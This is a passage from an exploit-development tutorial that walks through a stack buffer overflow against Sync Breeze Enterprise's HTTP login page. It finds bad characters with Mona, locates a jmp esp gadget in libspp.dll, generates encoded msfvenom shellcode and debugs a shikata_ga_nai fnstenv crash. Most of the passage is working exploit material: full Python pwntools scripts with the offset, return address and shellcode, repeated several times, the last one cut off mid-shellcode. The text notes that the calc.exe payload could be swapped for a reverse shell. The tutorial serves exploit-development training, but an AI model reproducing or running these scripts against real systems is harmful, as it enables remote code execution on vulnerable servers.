0x01c2744c |     |-----------------------------------------------|
0x01c2744c |   0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File
0x01c2744c |     |                           00 a8 00 78 71    01| Memory
0x01c2744c |  10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File
0x01c2744c |     |c8 6a 10 01 06 00 00 00 08 ab c2 01 00 00 00 00| Memory
0x01c2744c |  20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File
0x01c2744c |     |00 00 00 00 00 fd 8a 00 01 00 00 00 00 00 00 00| Memory
0x01c2744c |  30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File
0x01c2744c |     |00 00 00 00 00 00 00 00 02 00 00 00 98 b0 65 00| Memory
0x01c2744c |  40 |41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50| File
0x01c2744c |     |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 8a 00| Memory
0x01c2744c |  50 |51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60| File
0x01c2744c |     |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  60 |61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70| File
0x01c2744c |     |c4 d0 c2 01 f8 aa c2 01 70 74 c2 01 00 00 00 00| Memory
0x01c2744c |  70 |71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  80 |81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  90 |91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  a0 |a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  b0 |b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  c0 |c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  d0 |d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c |  f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff   | File
0x01c2744c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   | Memory
0x01c2744c |     `-----------------------------------------------'
0x01c2744c | 
0x01c2744c |               | File           | Memory         | Note       
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 0  0  9   9   | 01 ... 09      | 01 ... 09      | unmodified!
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 9  9  5   5   | 0a 0b 0c 0d 0e | 00 a8 00 78 71 | corrupted  
0x01c2744c | 14 14 1   1   | 0f             | 0f             | unmodified!
0x01c2744c | 15 15 240 240 | 10 ... ff      | 01 ... 00      | corrupted  
0x01c2744c | 
0x01c2744c | Possibly bad chars: 0a
0x01c2744c | Bytes omitted from input: 00
0x01c2744c |

Yes, this process needs to be repeated multiple times to identify all badchars. Each iteration helps refine the list of problematic characters that cause issues when crafting the payload.

1
0:000> !py mona bytearray -cpb '\x00\x0a'  

When this happens, Mona will indicate that the bytes compared on the stack with the .bin file have not been modified. This situation occurs after detecting 7 badchars.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp  
[+] Reading file C:\mona\bytearray.bin...
    Read 249 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | !!! Hooray, normal shellcode unmodified !!!
0x01c2744c | Bytes omitted from input: 00 0a 0d 25 26 2b 3d

These bytes cause problems because badchars depend on the specific program and the field where the vulnerability occurs. In this case, the badchars are due to how certain ASCII characters can affect the POST request during server authentication. Here’s why each badchar might be problematic:

1
2
3
4
5
6
7
8
9
10
11
12
13
`0x00` or `\0` (Null Byte): The null byte can indicate the end of a string, so bytes following it might not be written correctly.

`0x0a` or `\n`(Line Feed): This newline character can signify the end of the POST request content in this context.

`0x0d` or `\r` (Carriage Return): Similar to the line feed, the carriage return can indicate the end of the POST data content.

`0x25` or `%` (Percent Sign): The percent sign can be used in URL encoding to represent the next two bytes as a single hexadecimal value.

`0x26` or `&` (Ampersand): The ampersand often separates parameters in a query string, so it might cause the following bytes to be interpreted as a new parameter.

`0x2b` or `+` (Plus Sign): In web contexts, the plus sign can represent a space, which might affect how the payload is processed.

`0x3d` or `=` (Equals Sign): The equals sign often denotes the beginning of a parameter value, so it might disrupt the parsing of the payload.

Find Opcode

We know that whatever is sent after the filler will be stored on the stack. Therefore, if we send a shellcode that executes a command, we only need to execute what is on the stack. When there are no protections like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization), we only need to find a gadget in one of the modules that is executable and can execute what is at the ESP. Common gadgets include:

1
2
3
4
5
`jmp esp`;: This is the most common gadget, simply jumps to the ESP register, executing all instructions stored on the stack.

`call esp`;: Similar to jmp esp, but uses call instead of jmp, treating the address on the ESP as a function call.

`push esp`; `ret`;: Pushes the ESP address onto the stack, and then ret will use this address as the return address, executing whatever is on the stack.

To find a gadget that executes any of these instructions, we first need to know which modules the program loads that are not system libraries. For this, we can use Mona. There are only 4 modules, of which 3 are libraries. However, only one of these can be used because the base address of the others contains 0x00, and we previously identified the null byte as a badchar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false

---------- Mona command started on 2024-02-13 22:34:57 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Module criteria : ['os=false']
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
 0x00890000 | 0x00944000 | 0x000b4000 | True   | False   | False | False |  False   | False  | -1.0- [libsync.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll) 0x0  
 0x007b0000 | 0x00884000 | 0x000d4000 | True   | False   | False | False |  False   | False  | -1.0- [libpal.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll) 0x0
 0x10000000 | 0x10223000 | 0x00223000 | False  | False   | False | False |  False   | False  | -1.0- [libspp.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll) 0x0
 0x00400000 | 0x00462000 | 0x00062000 | False  | False   | False | False |  False   | False  | -1.0- [syncbrs.exe] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe) 0x0  
----------------------------------------------------------------------------------------------------------------------------------------------

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Since we have a module that does not start with 0x00 and does not have protections, we can use Mona to find gadgets that help us jump to the ESP register. We have found several gadgets, and we should be able to use any of them for our exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:000> !py mona jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'

---------- Mona command started on 2024-02-13 22:36:24 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules libspp.dll
    - Bad char filter will be applied to pointers : '\x00\x0a\x0d\x25\x26\x2b\x3d' 
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module libspp.dll
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'push esp # ret 0x08' : 2 
    - Number of pointers of type 'jmp esp' : 1 
    - Number of pointers of type 'push esp # ret ' : 3 
    - Number of pointers of type 'push esp # ret 0x04' : 2 
[+] Results : 
0x1005f916 |   0x1005f916 : push esp # ret 0x08 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1005f91e |   0x1005f91e : push esp # ret 0x08 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10090c83 |   0x10090c83 : jmp esp |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100bb515 |   0x100bb515 : push esp # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100e1cf2 |   0x100e1cf2 : push esp # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10138c27 |   0x10138c27 : push esp # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10072456 |   0x10072456 : push esp # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0  
0x1009f74e |   0x1009f74e : push esp # ret 0x04 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
    Found a total of 8 pointers

Encoder Problem

Once we have the gadget, we can generate a shellcode using msfvenom to execute a command. In this case, for simplicity, we’ll execute calc.exe, but we could just as easily use it to establish a reverse shell or run a bind shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode =  b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"

Our exploit involves sending A's up to the point where we overwrite the EIP with a jmp esp instruction. Since our shellcode generated with msfvenom is stored on the stack, it should execute and launch the calculator. The p32 function from pwntools is useful for packing the address in little-endian format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python3
from pwn import remote, p32

offset = 520
junk = b"A" * offset

jmpesp = p32(0x10090c83)
filler = b"C" * 4

shellcode =  b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"  
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"  
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"  
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"  
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"  
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"  
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"  
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"  
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"  
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"  
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"  
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"  
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"  
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"  
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"  
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"  
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"  
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"  
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"  
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"  

payload = junk + jmpesp + filler + shellcode

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

However, this does not happen, and the debugger shows that at some point during execution, it attempted to execute an instruction that caused an Access Violation.

1
2
3
4
5
6
7
8
0:000> g
(1354.1d30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=b803afa8 ecx=0056f30c edx=00000350 esi=0056899e edi=01086ac8
eip=01c27457 esp=01c2744c ebp=00562bd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
01c27457 0000            add     byte ptr [eax],al          ds:002b:00000001=??  

To understand why this is happening, set a breakpoint at the address where jmp esp is executed and send the exploit again. Now you can disassemble the instructions using the u command and analyze which one is causing the problem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> bp 0x10090c83

0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8  
eip=10090c83 esp=01c1744c ebp=00768ce8 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206  
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4            jmp     esp {01c1744c}

0:000> u esp
01c1744c dac0            fcmovb  st,st(0)
01c1744e bba8af03b8      mov     ebx,0B803AFA8h
01c17453 d97424f4        fnstenv [esp-0Ch]
01c17457 5a              pop     edx
01c17458 31c9            xor     ecx,ecx
01c1745a b131            mov     cl,31h
01c1745c 315a18          xor     dword ptr [edx+18h],ebx
01c1745f 83eafc          sub     edx,0FFFFFFFCh

The instruction causing the error is fnstenv. According to documentation, fnstenv saves 28 bytes of the FPU (Floating Point Unit) state. The problem is that it writes these 28 bytes to esp - 0xc (or esp - 12), which means it writes 12 bytes before the start of the stack and 16 bytes after the stack. This likely overwrites the shellcode and causes the Access Violation error.

1
fnstenv [esp-0Ch]

To see it a bit better, let’s examine the stack contents before and after the instruction. Right now, the stack contains the shellcode.

1
2
3
4
5
6
7
8
0:000> dds esp L6
01c1744c  a8bbc0da                 (esp + 0)
01c17450  d9b803af                 (esp + 4)
01c17454  5af42474                 (esp + 8)
01c17458  31b1c931                 (esp + 12)  
01c1745c  83185a31                 (esp + 16)  
01c17460  5a03fcea                 (esp + 20)  

When the fnstenv instruction is executed, the following instruction is equivalent to the hexadecimal value 0000

1
2
3
4
5
6
7
8
9
10
11
0:000> r
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17453 esp=01c1744c ebp=00768ce8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01c17453 d97424f4        fnstenv [esp-0Ch]                  ss:002b:01c17440=41  

0:000> p
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17457 esp=01c1744c ebp=00768ce8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01c17457 0000            add     byte ptr [eax],al          ds:002b:00000001=??  

This happens because the instruction overwrote 4 DWORDs or 16 bytes of the stack.

1
2
3
4
5
6
7
8
0:000> dds esp L6
01c1744c  00000000                 (esp + 0)  [overwrited]  
01c17450  00000000                 (esp + 4)  [overwrited]  
01c17454  00000000                 (esp + 8)  [overwrited]  
01c17458  ffff0000                 (esp + 12) [overwrited]  
01c1745c  83185a31                 (esp + 16)
01c17460  5a03fcea                 (esp + 20)

Solution 1

The simplest solution is to use NOPs. Before the shellcode, send 16 NOPs so that when the 16 bytes are overwritten, it will overwrite the NOPs`` instead of the shellcode.

1
2
3
4
shellcode =  b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
  

To view this from the debugger, you can set the breakpoint again and examine the stack. You should see 4 DWORDs of NOPs followed by the beginning of the shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> bp 0x10090c83

0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8  
eip=10090c83 esp=01bf744c ebp=00613c38 iopl=0         nv up ei pl nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206  
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4            jmp     esp {01bf744c}

0:000> dds esp L8
01bf744c  90909090                 (nops)
01bf7450  90909090                 (nops)
01bf7454  90909090                 (nops)
01bf7458  90909090                 (nops)
01bf745c  a8bbc0da                 (shellcode start)  
01bf7460  d9b803af
01bf7464  5af42474
01bf7468  31b1c931

After executing the fnstenv instruction, the 4 DWORDs of NOPs are overwritten, but the beginning of the shellcode remains intact. Therefore, the execution of the shellcode should not be affected, and the calculator should execute as expected.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> r
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7463 esp=01bf744c ebp=00613c38 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01bf7463 d97424f4        fnstenv [esp-0Ch]                  ss:002b:01bf7440=41  

0:000> p
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7467 esp=01bf744c ebp=00613c38 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
01bf7467 5a              pop     edx

0:000> dds esp L8
01bf744c  00000000                 (overwrited)
01bf7450  00000000                 (overwrited)
01bf7454  00000000                 (overwrited)
01bf7458  ffff0000                 (overwrited)
01bf745c  a8bbc0da                 (shellcode start)  
01bf7460  d9b803af
01bf7464  5af42474
01bf7468  31b1c931

The final exploit simply adds 16 NOPs at the beginning of the shellcode. When sending the exploit outside of the debugger, it successfully executes the shellcode, which launches the calculator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python3
from pwn import remote, p32

offset = 520
junk = b"A" * offset

jmpesp = p32(0x10090c83)
filler = b"C" * 4

shellcode =  b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"

payload = junk + jmpesp + filler + shellcode

data = b"username=username&password=" + payload

content  = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"  
content += data

shell = remote("Windows", 80)
shell.send(content)

Image Alt Text

Solution 2

The second solution is simpler: the previous issue was specifically caused by an instruction when using the shikata_ga_nai encoder. By using another encoder, such as jmp_call_additive, which does not include that problematic instruction, the issue should not occur.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d' -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"

This time, the final exploit does not need the NOPs and successfully executes the calculator.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
from pwn import remote, p32

offset = 520
junk = b"A" * offset

jmpesp = p32(0x10090c83)
filler = b"C" * 4

shellcode =  b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"  
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"  
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"  
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"  
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"  
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"  
